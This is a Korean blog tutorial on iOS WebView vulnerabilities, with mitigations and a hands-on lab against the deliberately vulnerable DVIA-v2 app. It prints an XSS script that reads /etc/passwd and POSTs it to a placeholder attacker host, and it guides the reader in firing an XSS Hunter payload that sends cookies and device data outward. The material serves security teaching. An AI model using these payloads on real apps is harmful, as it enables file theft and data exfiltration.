본문으로 바로가기

아이폰·아이패드·iOS 취약점진단/모의해킹 무료 강의

 

가. 웹뷰(WebView) 취약점이란?

1. 웹뷰(WebView) 정의

- 웹뷰는 애플리케이션 내에서 웹 콘텐츠를 표시하는 GUI 구성 요소로, 앱에 내장된 웹 브라우저라고 생각하면 된다.

- 최근에는 네이티브 방식으로 개발하지 않고, 웹뷰를 이용한 하이브리드 방식으로 앱을 많이 개발하고 있다.

※ 앱 개발 방식에 따른 차이점과 진단방법이 궁금하다면 아래의 링크 클릭.

모바일 앱 개발 방식에 따른 차이점 및 진단 방법 정리

 

모바일 앱 개발 방식에 따른 차이점 및 진단 방법 정리

가. 개발 방식 별 차이 및 장단점 - 모바일 앱의 개발방식은 크게 4가지로 분류된다. 개발 방식 앱 설치 여부 디바이스 기능 접근 개발 언어 개발 시간/비용 네이티브 앱 O O 네이티브 전용 Kotlin, Ja

hagsig.tistory.com

 

2. 웹뷰 종류 및 차이점

- iOS 웹뷰는 UIWebView, WKWebView 2개가 존재하며 iOS 12.0부터는 WKWebView만 사용이 가능하다.

- WKWebView는 UIWebView가 가진 많은 보안 문제를 보완하였다.("WK"는 WebKit브라우저에서 유래되었음)

- 각 웹뷰의 보안관점에서의 차이점은 아래와 같다.

UIWebView WKWebView
JavaScript를 비활성화할 수 있는 기능이 없음 JavaScript를 비활성화할 수 있음
HTTPS 프로토콜을 사용하여 로드하였는지 확인할 수 없음. HTTPS 프로토콜을 사용하여 모든 항목이 로드되었는지 확인할 수 있음.
*Out-of-Process 렌더링을 구현하지 않음. 공격자가 UIWebView에서 메모리 손상 취약점을 발견하면 애플리케이션 컨텍스트에서 이를 악용할 수 있음. Out-of-Process 렌더링을 수행함. 공격자가 WKWebView에서 메모리 손상 취약점을 발견하더라도 애플리케이션의 프로세스는 여전히 격리됨.
baseURL 매개변수가 빈 문자열(NULL)로 설정되면 공격자는 앱의 파일 시스템(file:// 스키마) 및 외부 웹사이트에 액세스할 수 있음. 로컬 파일 시스템에 대한 *AJAX 요청을 허용하지 않음.
file:// 스키마를 통한 파일 액세스 기능이 기본적으로 활성화 되어져 있어 수동으로 해당 기능을 비활성화 해주어야 한다. 공격자는 이를 악용하여 XSS 공격을 통해 서버내의 파일을 탈취할 수 있음. file:// 스키마는 ​​활성화되어 있지만 기본적으로 파일에 액세스할 수는 없음. 

*Out-of-Process Rendering(OOPR) : 웹 브라우징 및 웹 페이지 렌더링을 처리하는 프로세스가 웹 브라우저의 주요 프로세스와 별도로 실행되는 기술.

*AJAX(Asynchronous JavaScript and XML) : 웹 애플리케이션에서 *비동기적으로 서버와 데이터를 교환하기 위한 기술이나 기법을 가리킵니다.

*비동기 방식 : 웹페이지를 리로드 하지 않고도 동적으로 데이터를 로드하거나 서버와 통신할 수 있게 해주는 방식을 말함.

 

3. 웹뷰 취약점

- 사용자가 입력한 값에 대해 유효성 검사가 제대로 이루어지지 않을 경우, 클라이언트 측에서 인젝션이 발생할 수 있다.
- 인젝션으로 인해 디바이스에서 기본 기능 호출 및 악의적인 액티비티 수행이 가능할 수 있다.

예시) NULL baseURL로 설정된 웹뷰에서 아래와 같은 XSS공격을 수행할 경우 시스템 계정정보가 해커에게 전송된다.

<script> 
	var request = new XMLHttpRequest();
	request.open("GET","file:///etc/passwd",false);
	request.send();
	request.open("POST","http://HackerServer.net",false);
	request.send(request.responseText);
</script>

출처&nbsp;https://www.allysonomalley.com/2018/12/03/ios-bug-hunting-web-view-xss/

 

나. 대응방법

- UIWebView을 사용한다면 WKWebView으로 재 빌드 해야함.

- 사용자가 입력하는 값에 대한 유효성 검사 필요.

- 입력 값을 DB에 저장할 때, DB에서 값을 불러올 때 아래와 같은 특수문자를 변환하여 인젝션 공격을 예방한다.

특수문자 변환
< &lt;
> &gt;
& &amp;
" &quot;
' &apos;

 

- 웹뷰에서의 자바스크립트 실행을 원치 않는다면 아래의 코드를 사용하여 비활성화시킨다.

let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
self.configuration?.preferences = webPreferences

 

다. DVIA-v2 앱을 통한 실습

1. 분석 대상 앱 실행

- 실습을 위해 DVIA-v2 앱을 실행한다.

 

※ DVIA-v2 어플이 설치되어있지 않은 사람은 아래의 글을 참고하여 앱을 설치하길 바란다.

2022.07.01 - [Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 04강 - 진단 대상 설치

 

[iOS App 진단] 04강 - 진단 대상 설치

iOS 앱 진단을 위해 설치 파일을 요청하면, 대개 아래 3가지 방법 중에 하나의 방법으로 전달해준다. 1. 앱 스토어를 통해 설치 이미 앱 개발이 완료되어 앱스토어에 등록되어 있을 경우, 앱스토어

hagsig.tistory.com

 

- 메인메뉴 좌측 상단 메뉴 클릭  'Webview Issues' 클릭  'START CHALLENGE' 클릭

 

2. XSS 공격구문 삽입

- 아래에 사이트에 접속한뒤 구글 아이디로 로그인 한다.

https://xsshunter.trufflesecurity.com/

 

XSS Hunter

 

xsshunter.trufflesecurity.com

 

- "XSS PAYLOADS" 클릭 → "Copy Payload" 클릭 → 클립보드에 XSS 공격문구가 복사됨

※ img, iframe 태그 등 다양한 XSS 문구들이 준비되어져 있으니 환경에 맞게 사용하면 된다.

 

- 위에서 복사한 코드를 DVIA-v2에 삽입 → 실행 → XSS HUNTER에서 'XSS PAYLOAD FIRES' 클릭

- *디바이스 정보가 해커의 사이트로 전송된 것을 확인할 수 있다.

*디바이스 정보 : URL, IP Address, Referer, User-Agent, Cookies, Title, Origin, Secrets, CORS, Leaked Source Code, Browser Time, Other

 

라. 참고 URL

- 크로스 사이트 스크립팅(XSS) 공격 방지 가이드

https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

 

Cross Site Scripting Prevention - OWASP Cheat Sheet Series

Cross Site Scripting Prevention Cheat Sheet Introduction This cheat sheet provides guidance to prevent XSS vulnerabilities. Cross-Site Scripting (XSS) is a misnomer. The name originated from early versions of the attack where stealing data cross-site was t

cheatsheetseries.owasp.org

 

- 웹뷰 종류별 취약점 설명 1

https://www.securing.pl/en/secure-implementation-of-webview-in-ios-applications/

 

Secure implementation of WebView in iOS applications - Securing

This post discusses how to ensure secure WebViews and how to keep the attack surface restricted.

www.securing.pl

 

- 웹뷰 종류별 취약점 설명 2

https://www.youtube.com/watch?v=7Ozn9t7tp88

 

- 웹뷰 취약점으로 인한 시스템 정보 노출

https://medium.com/ios-os-x-development/security-flaw-with-uiwebview-95bbd8508e3c

 

Security Flaw with UIWebView

UIWebView is something Apple already deprecated, and it is the API most developers complain about its performance — without native code…

medium.com

 

- NULL baseURL 공격 설명

https://www.allysonomalley.com/2018/12/03/ios-bug-hunting-web-view-xss/

 

iOS Bug Hunting – Web View XSS

This post is about a simple, yet potentially dangerous security flaw that I’ve seen several times in iOS apps. I feel this misconfiguration should have more awareness around it – specif…

www.allysonomalley.com